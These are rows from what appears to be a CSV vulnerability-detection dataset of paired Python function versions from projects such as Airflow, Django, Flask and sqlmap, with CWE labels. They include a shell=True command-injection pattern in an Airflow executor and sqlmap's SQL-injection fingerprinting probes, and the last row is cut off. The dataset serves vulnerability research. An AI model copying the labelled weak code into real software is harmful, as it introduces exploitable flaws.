,UNKNOWN,UNKNOWN,tests/serialization/test_dag_serialization.py,1,"def test_serialize_sensor(self, mode):
        from airflow.sensors.base import BaseSensorOperator

        class DummySensor(BaseSensorOperator):
            def poke(self, context: Context):
                return False

        op = DummySensor(task_id='dummy', mode=mode, poke_interval=23)

        blob = SerializedBaseOperator.serialize_operator(op)
        assert ""deps"" in blob

        serialized_op = SerializedBaseOperator.deserialize_operator(blob)
        assert serialized_op.reschedule == (mode == ""reschedule"")
        assert op.deps == serialized_op.deps",CWE-703,apache/airflow,212ad67c7d2a2ba884b049e90d48274a5d4c0f70,"def test_serialize_sensor(self, mode):
        from airflow.sensors.base import BaseSensorOperator

        class DummySensor(BaseSensorOperator):
            def poke(self, context: Context):
                return False

        op = DummySensor(task_id='dummy', mode=mode, poke_interval=23)

        blob = SerializedBaseOperator.serialize_operator(op)
        assert ""deps"" in blob

        serialized_op = SerializedBaseOperator.deserialize_operator(blob)
        assert op.deps == serialized_op.deps"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_ecs.py,1,"def test_execute_without_failures(
        self,
        launch_type,
        capacity_provider_strategy,
        platform_version,
        tags,
        expected_args,
        check_mock,
        wait_mock,
    ):

        self.set_up_operator(
            launch_type=launch_type,
            capacity_provider_strategy=capacity_provider_strategy,
            platform_version=platform_version,
            tags=tags,
        )
        client_mock = self.aws_hook_mock.return_value.get_conn.return_value
        client_mock.run_task.return_value = RESPONSE_WITHOUT_FAILURES

        self.ecs.execute(None)

        self.aws_hook_mock.return_value.get_conn.assert_called_once()

        client_mock.run_task.assert_called_once_with(
            cluster='c',
            overrides={},
            startedBy=mock.ANY,  # Can by 'airflow' or 'Airflow'
            taskDefinition='t',
            group='group',
            placementConstraints=[{'expression': 'attribute:ecs.instance-type =~ t2.*', 'type': 'memberOf'}],
            placementStrategy=[{'field': 'memory', 'type': 'binpack'}],
            networkConfiguration={
                'awsvpcConfiguration': {'securityGroups': ['sg-123abc'], 'subnets': ['subnet-123456ab']}
            },
            propagateTags='TASK_DEFINITION',
            **expected_args,
        )

        wait_mock.assert_called_once_with()
        check_mock.assert_called_once_with()
        assert self.ecs.arn == 'arn:aws:ecs:us-east-1:012345678910:task/d8c67b3c-ac87-4ffe-a847-4785bc3a8b55'
        assert self.ecs.ecs_task_id == 'd8c67b3c-ac87-4ffe-a847-4785bc3a8b55'",CWE-703,apache/airflow,d6141c6594da86653b15d67eaa99511e8fe37a26,"def test_execute_without_failures(
        self,
        launch_type,
        capacity_provider_strategy,
        platform_version,
        tags,
        expected_args,
        check_mock,
        wait_mock,
    ):

        self.set_up_operator(
            launch_type=launch_type,
            capacity_provider_strategy=capacity_provider_strategy,
            platform_version=platform_version,
            tags=tags,
        )
        client_mock = self.aws_hook_mock.return_value.get_conn.return_value
        client_mock.run_task.return_value = RESPONSE_WITHOUT_FAILURES

        self.ecs.execute(None)

        self.aws_hook_mock.return_value.get_conn.assert_called_once()

        client_mock.run_task.assert_called_once_with(
            cluster='c',
            overrides={},
            startedBy=mock.ANY,  # Can by 'airflow' or 'Airflow'
            taskDefinition='t',
            group='group',
            placementConstraints=[{'expression': 'attribute:ecs.instance-type =~ t2.*', 'type': 'memberOf'}],
            placementStrategy=[{'field': 'memory', 'type': 'binpack'}],
            networkConfiguration={
                'awsvpcConfiguration': {'securityGroups': ['sg-123abc'], 'subnets': ['subnet-123456ab']}
            },
            propagateTags='TASK_DEFINITION',
            **expected_args,
        )

        wait_mock.assert_called_once_with()
        check_mock.assert_called_once_with()
        assert self.ecs.arn == 'arn:aws:ecs:us-east-1:012345678910:task/d8c67b3c-ac87-4ffe-a847-4785bc3a8b55'"
,UNKNOWN,UNKNOWN,django/contrib/auth/views.py,1,"def password_reset_confirm(request, uidb36=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    UserModel = get_user_model()
    assert uidb36 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = UserModel.objects.get(pk=uid_int)
    except (ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
    context = {
        'form': form,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)",CWE-703,django/django,47c5b50d346237f30584ad9303dea8f6933ffae3,"def password_reset_confirm(request, uidb36=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    UserModel = get_user_model()
    assert uidb36 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = UserModel.objects.get(id=uid_int)
    except (ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
    context = {
        'form': form,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/filemanager.py,0,"def _file_model(self, path, content=True, format=None):
        """"""Build a model for a file

        if content is requested, include the file contents.

        format:
          If 'text', the contents will be decoded as UTF-8.
          If 'base64', the raw bytes contents will be encoded as base64.
          If not specified, try to decode as UTF-8, and fall back to base64
        """"""
        model = self._base_model(path)
        model['type'] = 'file'

        os_path = self._get_os_path(path)
        model['mimetype'] = mimetypes.guess_type(os_path)[0]

        if content:
            content, format = self._read_file(os_path, format)
            if model['mimetype'] is None:
                default_mime = {
                    'text': 'text/plain',
                    'base64': 'application/octet-stream'
                }[format]
                model['mimetype'] = default_mime

            model.update(
                content=content,
                format=format,
            )

        return model",,jupyter/notebook,9e63dd89b603dfbe3a7e774d8a962ee0fa30c0b5,"def _file_model(self, path, content=True, format=None):
        """"""Build a model for a file

        if content is requested, include the file contents.

        format:
          If 'text', the contents will be decoded as UTF-8.
          If 'base64', the raw bytes contents will be encoded as base64.
          If not specified, try to decode as UTF-8, and fall back to base64
        """"""
        model = self._base_model(path)
        model['type'] = 'file'

        os_path = self._get_os_path(path)

        if content:
            content, format = self._read_file(os_path, format)
            default_mime = {
                'text': 'text/plain',
                'base64': 'application/octet-stream'
            }[format]

            model.update(
                content=content,
                format=format,
                mimetype=mimetypes.guess_type(os_path)[0] or default_mime,
            )

        return model"
,UNKNOWN,UNKNOWN,tests/integration/modules/test_state.py,1,"def test_state_nonbase_environment(self):
        '''
        test state.sls with saltenv using a nonbase environment
        with a salt source
        '''
        filename = os.path.join(TMP, 'nonbase_env')
        try:
            ret = self.run_function(
                'state.sls',
                mods='non-base-env',
                saltenv='prod'
            )
            ret = ret[next(iter(ret))]
            assert ret['result']
            assert ret['comment'] == 'File {0} updated'.format(filename)
            assert os.path.isfile(filename)
        finally:
            try:
                os.remove(filename)
            except OSError:
                pass",CWE-703,saltstack/salt,c6069520f1cd16560958adf85cad87770c356dba,"def test_state_nonbase_environment(self):
        '''
        test state.sls with saltenv using a nonbase environment
        with a salt source
        '''
        filename = os.path.join(TMP, 'nonbase_env')
        try:
            ret = self.run_function(
                'state.sls',
                mods='non-base-env',
                saltenv='prod'
            )
            ret = ret[next(iter(ret))]
            assert ret['result']
            assert ret['comment'] == 'File {0} updated'.format(filename)
            assert os.path.isfile(filename)
        finally:
            try:
                os.remove(filename)
            except OSError:
                pass"
,UNKNOWN,UNKNOWN,flask/app.py,1,"def run(self, host=None, port=None, debug=None, load_dotenv=True, **options):
        """"""Runs the application on a local development server.

        Do not use ``run()`` in a production setting. It is not intended to
        meet security and performance requirements for a production server.
        Instead, see :ref:`deployment` for WSGI server recommendations.

        If the :attr:`debug` flag is set the server will automatically reload
        for code changes and show a debugger in case an exception happened.

        If you want to run the application in debug mode, but disable the
        code execution on the interactive debugger, you can pass
        ``use_evalex=False`` as parameter.  This will keep the debugger's
        traceback screen active, but disable code execution.

        It is not recommended to use this function for development with
        automatic reloading as this is badly supported.  Instead you should
        be using the :command:`flask` command line script's ``run`` support.

        .. admonition:: Keep in Mind

           Flask will suppress any server error with a generic error page
           unless it is in debug mode.  As such to enable just the
           interactive debugger without the code reloading, you have to
           invoke :meth:`run` with ``debug=True`` and ``use_reloader=False``.
           Setting ``use_debugger`` to ``True`` without being in debug mode
           won't catch any exceptions because there won't be any to
           catch.

        :param host: the hostname to listen on. Set this to ``'0.0.0.0'`` to
            have the server available externally as well. Defaults to
            ``'127.0.0.1'`` or the host in the ``SERVER_NAME`` config variable
            if present.
        :param port: the port of the webserver. Defaults to ``5000`` or the
            port defined in the ``SERVER_NAME`` config variable if present.
        :param debug: if given, enable or disable debug mode. See
            :attr:`debug`.
        :param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv`
            files to set environment variables. Will also change the working
            directory to the directory containing the first file found.
        :param options: the options to be forwarded to the underlying Werkzeug
            server. See :func:`werkzeug.serving.run_simple` for more
            information.

        .. versionchanged:: 1.0
            If installed, python-dotenv will be used to load environment
            variables from :file:`.env` and :file:`.flaskenv` files.

            If set, the :envvar:`FLASK_ENV` and :envvar:`FLASK_DEBUG`
            environment variables will override :attr:`env` and
            :attr:`debug`.

            Threaded mode is enabled by default.

        .. versionchanged:: 0.10
            The default port is now picked from the ``SERVER_NAME``
            variable.
        """"""
        # Change this into a no-op if the server is invoked from the
        # command line. Have a look at cli.py for more information.
        if os.environ.get(""FLASK_RUN_FROM_CLI"") == ""true"":
            from .debughelpers import explain_ignored_app_run

            explain_ignored_app_run()
            return

        if get_load_dotenv(load_dotenv):
            cli.load_dotenv()

            # if set, let env vars override previous values
            if ""FLASK_ENV"" in os.environ:
                self.env = get_env()
                self.debug = get_debug_flag()
            elif ""FLASK_DEBUG"" in os.environ:
                self.debug = get_debug_flag()

        # debug passed to method overrides all other sources
        if debug is not None:
            self.debug = bool(debug)

        _host = ""127.0.0.1""
        _port = 5000
        server_name = self.config.get(""SERVER_NAME"")
        sn_host, sn_port = None, None

        if server_name:
            sn_host, _, sn_port = server_name.partition("":"")

        host = host or sn_host or _host
        # pick the first value that's not None (0 is allowed)
        port = int(next((p for p in (port, sn_port) if p is not None), _port))

        options.setdefault(""use_reloader"", self.debug)
        options.setdefault(""use_debugger"", self.debug)
        options.setdefault(""threaded"", True)

        cli.show_server_banner(self.env, self.debug, self.name, False)

        from werkzeug.serving import run_simple

        try:
            run_simple(host, port, self, **options)
        finally:
            # reset the first request information if the development server
            # reset normally.  This makes it possible to restart the server
            # without reloader and that stuff from an interactive shell.
            self._got_first_request = False",CWE-605,pallets/flask,d9fa28ba68809aec8df30c65d7ab1f8a5e0514c8,"def run(self, host=None, port=None, debug=None, load_dotenv=True, **options):
        """"""Runs the application on a local development server.

        Do not use ``run()`` in a production setting. It is not intended to
        meet security and performance requirements for a production server.
        Instead, see :ref:`deployment` for WSGI server recommendations.

        If the :attr:`debug` flag is set the server will automatically reload
        for code changes and show a debugger in case an exception happened.

        If you want to run the application in debug mode, but disable the
        code execution on the interactive debugger, you can pass
        ``use_evalex=False`` as parameter.  This will keep the debugger's
        traceback screen active, but disable code execution.

        It is not recommended to use this function for development with
        automatic reloading as this is badly supported.  Instead you should
        be using the :command:`flask` command line script's ``run`` support.

        .. admonition:: Keep in Mind

           Flask will suppress any server error with a generic error page
           unless it is in debug mode.  As such to enable just the
           interactive debugger without the code reloading, you have to
           invoke :meth:`run` with ``debug=True`` and ``use_reloader=False``.
           Setting ``use_debugger`` to ``True`` without being in debug mode
           won't catch any exceptions because there won't be any to
           catch.

        :param host: the hostname to listen on. Set this to ``'0.0.0.0'`` to
            have the server available externally as well. Defaults to
            ``'127.0.0.1'`` or the host in the ``SERVER_NAME`` config variable
            if present.
        :param port: the port of the webserver. Defaults to ``5000`` or the
            port defined in the ``SERVER_NAME`` config variable if present.
        :param debug: if given, enable or disable debug mode. See
            :attr:`debug`.
        :param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv`
            files to set environment variables. Will also change the working
            directory to the directory containing the first file found.
        :param options: the options to be forwarded to the underlying Werkzeug
            server. See :func:`werkzeug.serving.run_simple` for more
            information.

        .. versionchanged:: 1.0
            If installed, python-dotenv will be used to load environment
            variables from :file:`.env` and :file:`.flaskenv` files.

            If set, the :envvar:`FLASK_ENV` and :envvar:`FLASK_DEBUG`
            environment variables will override :attr:`env` and
            :attr:`debug`.

            Threaded mode is enabled by default.

        .. versionchanged:: 0.10
            The default port is now picked from the ``SERVER_NAME``
            variable.
        """"""
        # Change this into a no-op if the server is invoked from the
        # command line. Have a look at cli.py for more information.
        if os.environ.get(""FLASK_RUN_FROM_CLI"") == ""true"":
            from .debughelpers import explain_ignored_app_run

            explain_ignored_app_run()
            return

        if get_load_dotenv(load_dotenv):
            cli.load_dotenv()

            # if set, let env vars override previous values
            if ""FLASK_ENV"" in os.environ:
                self.env = get_env()
                self.debug = get_debug_flag()
            elif ""FLASK_DEBUG"" in os.environ:
                self.debug = get_debug_flag()

        # debug passed to method overrides all other sources
        if debug is not None:
            self.debug = bool(debug)

        _host = ""127.0.0.1""
        _port = 5000
        server_name = self.config.get(""SERVER_NAME"")
        sn_host, sn_port = None, None

        if server_name:
            sn_host, _, sn_port = server_name.partition("":"")

        host = host or sn_host or _host
        port = int(port or sn_port or _port)

        options.setdefault(""use_reloader"", self.debug)
        options.setdefault(""use_debugger"", self.debug)
        options.setdefault(""threaded"", True)

        cli.show_server_banner(self.env, self.debug, self.name, False)

        from werkzeug.serving import run_simple

        try:
            run_simple(host, port, self, **options)
        finally:
            # reset the first request information if the development server
            # reset normally.  This makes it possible to restart the server
            # without reloader and that stuff from an interactive shell.
            self._got_first_request = False"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/log_test.py,0,"def test_bytes_logging(self):
        with ignore_bytes_warning():
            # This will be ""\xe9"" on python 2 or ""b'\xe9'"" on python 3
            self.logger.error(b""\xe9"")
            self.assertEqual(self.get_output(), utf8(repr(b""\xe9"")))",CWE-Unknown,tornadoweb/tornado,cb8a07c36343a9238b4c76fa063913bf4fa40cba,"def test_bytes_logging(self):
        with ignore_bytes_warning():
            # This will be ""\xe9"" on python 2 or ""b'\xe9'"" on python 3
            self.logger.error(b""\xe9"")
            self.assertEqual(self.get_output(), utf8(repr(b""\xe9"")))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def isVersionGreaterOrEqualThan(version):
        retVal = False

        if all(_ not in (None, UNKNOWN_DBMS_VERSION) for _ in (Backend.getVersion(), version)):
            _version = unArrayizeValue(Backend.getVersion())
            _version = re.sub(r""[<>= ]"", """", _version)

            try:
                retVal = LooseVersion(_version) >= LooseVersion(version)
            except:
                retVal = str(_version) >= str(version)

        return retVal",,sqlmapproject/sqlmap,d98d64504c7d1b64031a478955f9ee65d7236e55,"def isVersionGreaterOrEqualThan(version):
        retVal = False

        if Backend.getVersion() is not None and version is not None:
            _version = unArrayizeValue(Backend.getVersion())
            _version = re.sub(r""[<>= ]"", """", _version)

            try:
                retVal = LooseVersion(_version) >= LooseVersion(version)
            except:
                retVal = str(_version) >= str(version)

        return retVal"
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_appliance.py,0,"def add_tests(cls, method_name, *extensions):
        for test in cls.all_tests:
            available_extensions = cls.all_tests[test]
            for ext in extensions:
                if ext not in available_extensions:
                    break
            else:
                filenames = [os.path.join(cls.DATA, test+ext) for ext in extensions]
                def test_method(self, test=test, filenames=filenames):
                    getattr(self, '_'+method_name)(test, *filenames)
                test = test.replace('-', '_').replace('.', '_')
                try:
                    test_method.__name__ = '%s_%s' % (method_name, test)
                except TypeError:
                    import new
                    test_method = new.function(test_method.func_code, test_method.func_globals,
                            '%s_%s' % (method_name, test), test_method.func_defaults,
                            test_method.func_closure)
                setattr(cls, test_method.__name__, test_method)",,yaml/pyyaml,410d822bd5d2938620c8e50d25a55fe0dd927c7b,"def add_tests(cls, method_name, *extensions):
        for test in cls.all_tests:
            available_extensions = cls.all_tests[test]
            for ext in extensions:
                if ext not in available_extensions:
                    break
            else:
                filenames = [os.path.join(cls.DATA, test+ext) for ext in extensions]
                def test_method(self, test=test, filenames=filenames):
                    getattr(self, '_'+method_name)(test, *filenames)
                test = test.replace('-', '_')
                try:
                    test_method.__name__ = '%s_%s' % (method_name, test)
                except TypeError:
                    import new
                    test_method = new.function(test_method.func_code, test_method.func_globals,
                            '%s_%s' % (method_name, test), test_method.func_defaults,
                            test_method.func_closure)
                setattr(cls, test_method.__name__, test_method)"
,UNKNOWN,UNKNOWN,airflow/executors/local_executor.py,1,"def run(self):
        while True:
            key, command = self.task_queue.get()
            if key is None:
                # Received poison pill, no more tasks to run
                self.task_queue.task_done()
                break
            self.logger.info(""{} running {}"".format(
                self.__class__.__name__, command))
            command = ""exec bash -c '{0}'"".format(command)
            try:
                subprocess.check_call(command, shell=True)
                state = State.SUCCESS
            except subprocess.CalledProcessError as e:
                state = State.FAILED
                self.logger.error(""Failed to execute task {}:"".format(str(e)))
                # raise e
            self.result_queue.put((key, state))
            self.task_queue.task_done()
            time.sleep(1)",CWE-78,apache/airflow,d7c95a8ca44b0d72d32004304501efc0572778c7,"def run(self):
        while True:
            key, command = self.task_queue.get()
            if key is None:
                # Received poison pill, no more tasks to run
                self.task_queue.task_done()
                break
            self.logger.info(""{} running {}"".format(
                self.__class__.__name__, command))
            command = ""exec bash -c '{0}'"".format(command)
            try:
                subprocess.Popen(command, shell=True).wait()
                state = State.SUCCESS
            except Exception as e:
                state = State.FAILED
                self.logger.error(""failed to execute task {}:"".format(str(e)))
                # raise e
            self.result_queue.put((key, state))
            self.task_queue.task_done()
            time.sleep(1)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/hsqldb/fingerprint.py,0,"def checkDbms(self):
        """"""
        References for fingerprint:
        DATABASE_VERSION()
        version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d')
        version 2.2.5 added SYSTIMESTAMP function
        version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
        version 2.2.0 added support for ROWNUM() function
        version 2.1.0 added MEDIAN aggregate function
        version < 2.0.1 added support for datetime ROUND and TRUNC functions
        version 2.0.0 added VALUES support
        version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the
                        full version string, including the 4th digit (e.g 1.8.0.4).
        version 1.7.2 CASE statements added and INFORMATION_SCHEMA

        """"""

        if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
            setDbms(""%s %s"" % (DBMS.HSQLDB, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan(""1.7.2""):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.HSQLDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""CASEWHEN(1=1,1,0)=1"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.HSQLDB
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""ROUNDMAGIC(PI())>=3"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.HSQLDB
                logger.warning(warnMsg)

                return False
            else:
                result = inject.checkBooleanExpression(""ZERO() IS 0"")   # Note: check for H2 DBMS (sharing majority of same functions)
                if result:
                    warnMsg = ""the back-end DBMS is not %s"" % DBMS.HSQLDB
                    logger.warning(warnMsg)

                    return False

                kb.data.has_information_schema = True
                Backend.setVersion("">= 1.7.2"")
                setDbms(""%s 1.7.2"" % DBMS.HSQLDB)

                banner = self.getBanner()
                if banner:
                    Backend.setVersion(""= %s"" % banner)
                else:
                    if inject.checkBooleanExpression(""(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]""):
                        Backend.setVersionList(["">= 2.0.0"", ""< 2.3.0""])
                    else:
                        banner = unArrayizeValue(inject.getValue(""\""org.hsqldbdb.Library.getDatabaseFullProductVersion\""()"", safeCharEncode=True))
                        if banner:
                            Backend.setVersion(""= %s"" % banner)
                        else:
                            Backend.setVersionList(["">= 1.7.2"", ""< 1.8.0""])

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.HSQLDB
            logger.warning(warnMsg)

            dbgMsg = ""...or version is < 1.7.2""
            logger.debug(dbgMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        """"""
        References for fingerprint:
        DATABASE_VERSION()
        version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d')
        version 2.2.5 added SYSTIMESTAMP function
        version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
        version 2.2.0 added support for ROWNUM() function
        version 2.1.0 added MEDIAN aggregate function
        version < 2.0.1 added support for datetime ROUND and TRUNC functions
        version 2.0.0 added VALUES support
        version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the
                        full version string, including the 4th digit (e.g 1.8.0.4).
        version 1.7.2 CASE statements added and INFORMATION_SCHEMA

        """"""

        if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
            setDbms(""%s %s"" % (DBMS.HSQLDB, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan(""1.7.2""):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.HSQLDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""CASEWHEN(1=1,1,0)=1"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.HSQLDB
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""ROUNDMAGIC(PI())>=3"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.HSQLDB
                logger.warn(warnMsg)

                return False
            else:
                result = inject.checkBooleanExpression(""ZERO() IS 0"")   # Note: check for H2 DBMS (sharing majority of same functions)
                if result:
                    warnMsg = ""the back-end DBMS is not %s"" % DBMS.HSQLDB
                    logger.warn(warnMsg)

                    return False

                kb.data.has_information_schema = True
                Backend.setVersion("">= 1.7.2"")
                setDbms(""%s 1.7.2"" % DBMS.HSQLDB)

                banner = self.getBanner()
                if banner:
                    Backend.setVersion(""= %s"" % banner)
                else:
                    if inject.checkBooleanExpression(""(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]""):
                        Backend.setVersionList(["">= 2.0.0"", ""< 2.3.0""])
                    else:
                        banner = unArrayizeValue(inject.getValue(""\""org.hsqldbdb.Library.getDatabaseFullProductVersion\""()"", safeCharEncode=True))
                        if banner:
                            Backend.setVersion(""= %s"" % banner)
                        else:
                            Backend.setVersionList(["">= 1.7.2"", ""< 1.8.0""])

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.HSQLDB
            logger.warn(warnMsg)

            dbgMsg = ""...or version is < 1.7.2""
            logger.debug(dbgMsg)

            return False"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/pstree.py,0,"def render_text(self, outfd, data):

        self.table_header(outfd, 
                         [(""Name"", ""<50""), 
                          (""Pid"", "">6""),
                          (""PPid"", "">6""),
                          (""Thds"", "">6""),
                          (""Hnds"", "">6""),
                          (""Time"", """")])

        def draw_branch(pad, inherited_from):
            for task in data.values():
                if task.InheritedFromUniqueProcessId == inherited_from:

                    first_column = ""{0} {1:#x}:{2:20}"".format(
                                        ""."" * pad, 
                                        task.obj_offset, 
                                        str(task.ImageFileName or '')
                                        )

                    self.table_row(outfd, 
                        first_column,
                        task.UniqueProcessId,
                        task.InheritedFromUniqueProcessId,
                        task.ActiveThreads,
                        task.ObjectTable.HandleCount,
                        task.CreateTime)

                    if self._config.VERBOSE:
                        outfd.write(""{0}    audit: {1}\n"".format(
                                ' ' * pad, str(task.SeAuditProcessCreationInfo.ImageFileName.Name or '')))
                        process_params = task.Peb.ProcessParameters
                        if process_params:
                            outfd.write(""{0}    cmd: {1}\n"".format(
                                ' ' * pad, str(process_params.CommandLine or '')))
                            outfd.write(""{0}    path: {1}\n"".format(
                                ' ' * pad, str(process_params.ImagePathName or '')))

                    del data[int(task.UniqueProcessId)]
                    draw_branch(pad + 1, task.UniqueProcessId) 

        while len(data.keys()) > 0:
            keys = data.keys()
            root = self.find_root(data, keys[0])
            draw_branch(0, root)",,volatilityfoundation/volatility,43ec9fb49ef6f0e220a02b7cf086668733a3526b,"def render_text(self, outfd, data):

        self.table_header(outfd, 
                         [(""Name"", ""<50""), 
                          (""Pid"", "">6""),
                          (""PPid"", "">6""),
                          (""Thds"", "">6""),
                          (""Hnds"", "">6""),
                          (""Time"", ""20"")])

        def draw_branch(pad, inherited_from):
            for task in data.values():
                if task.InheritedFromUniqueProcessId == inherited_from:

                    first_column = ""{0} {1:#x}:{2:20}"".format(
                                        ""."" * pad, 
                                        task.obj_offset, 
                                        str(task.ImageFileName or '')
                                        )

                    self.table_row(outfd, 
                        first_column,
                        task.UniqueProcessId,
                        task.InheritedFromUniqueProcessId,
                        task.ActiveThreads,
                        task.ObjectTable.HandleCount,
                        task.CreateTime)

                    if self._config.VERBOSE:
                        outfd.write(""{0}    audit: {1}\n"".format(
                                ' ' * pad, str(task.SeAuditProcessCreationInfo.ImageFileName.Name or '')))
                        process_params = task.Peb.ProcessParameters
                        if process_params:
                            outfd.write(""{0}    cmd: {1}\n"".format(
                                ' ' * pad, str(process_params.CommandLine or '')))
                            outfd.write(""{0}    path: {1}\n"".format(
                                ' ' * pad, str(process_params.ImagePathName or '')))

                    del data[int(task.UniqueProcessId)]
                    draw_branch(pad + 1, task.UniqueProcessId) 

        while len(data.keys()) > 0:
            keys = data.keys()
            root = self.find_root(data, keys[0])
            draw_branch(0, root)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/cli/baseline.py,0,"def initialize():
    """"""Initialize arguments and output formats.""""""
    valid = True

    # #################### Parse Args #########################################
    parser = argparse.ArgumentParser(
        description=""Bandit Baseline - Generates Bandit results compared to ""
        ""a baseline"",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=""Additional Bandit arguments such as severity filtering (-ll) ""
        ""can be added and will be passed to Bandit."",
    )

    parser.add_argument(
        ""targets"",
        metavar=""targets"",
        type=str,
        nargs=""+"",
        help=""source file(s) or directory(s) to be tested"",
    )

    parser.add_argument(
        ""-f"",
        dest=""output_format"",
        action=""store"",
        default=""terminal"",
        help=""specify output format"",
        choices=valid_baseline_formats,
    )

    args, _ = parser.parse_known_args()

    # #################### Setup Output #######################################
    # set the output format, or use a default if not provided
    output_format = (
        args.output_format if args.output_format else default_output_format
    )

    if output_format == default_output_format:
        LOG.info(""No output format specified, using %s"", default_output_format)

    # set the report name based on the output format
    report_fname = f""{report_basename}.{output_format}""

    # #################### Check Requirements #################################
    try:
        repo = git.Repo(os.getcwd())

    except git.exc.InvalidGitRepositoryError:
        LOG.error(""Bandit baseline must be called from a git project root"")
        valid = False

    except git.exc.GitCommandNotFound:
        LOG.error(""Git command not found"")
        valid = False

    else:
        if repo.is_dirty():
            LOG.error(
                ""Current working directory is dirty and must be "" ""resolved""
            )
            valid = False

    # if output format is specified, we need to be able to write the report
    if output_format != default_output_format and os.path.exists(report_fname):
        LOG.error(""File %s already exists, aborting"", report_fname)
        valid = False

    # Bandit needs to be able to create this temp file
    if os.path.exists(baseline_tmp_file):
        LOG.error(
            ""Temporary file %s needs to be removed prior to running"",
            baseline_tmp_file,
        )
        valid = False

    # we must validate -o is not provided, as it will mess up Bandit baseline
    if ""-o"" in bandit_args:
        LOG.error(""Bandit baseline must not be called with the -o option"")
        valid = False

    return (output_format, repo, report_fname) if valid else (None, None, None)",UNKNOWN,PyCQA/bandit,0d05d40775dcd946e171ca00a330647e9ffa8898,"def initialize():
    """"""Initialize arguments and output formats.""""""
    valid = True

    # #################### Parse Args #########################################
    parser = argparse.ArgumentParser(
        description='Bandit Baseline - Generates Bandit results compared to ""'
        ""a baseline"",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=""Additional Bandit arguments such as severity filtering (-ll) ""
        ""can be added and will be passed to Bandit."",
    )

    parser.add_argument(
        ""targets"",
        metavar=""targets"",
        type=str,
        nargs=""+"",
        help=""source file(s) or directory(s) to be tested"",
    )

    parser.add_argument(
        ""-f"",
        dest=""output_format"",
        action=""store"",
        default=""terminal"",
        help=""specify output format"",
        choices=valid_baseline_formats,
    )

    args, _ = parser.parse_known_args()

    # #################### Setup Output #######################################
    # set the output format, or use a default if not provided
    output_format = (
        args.output_format if args.output_format else default_output_format
    )

    if output_format == default_output_format:
        LOG.info(""No output format specified, using %s"", default_output_format)

    # set the report name based on the output format
    report_fname = f""{report_basename}.{output_format}""

    # #################### Check Requirements #################################
    try:
        repo = git.Repo(os.getcwd())

    except git.exc.InvalidGitRepositoryError:
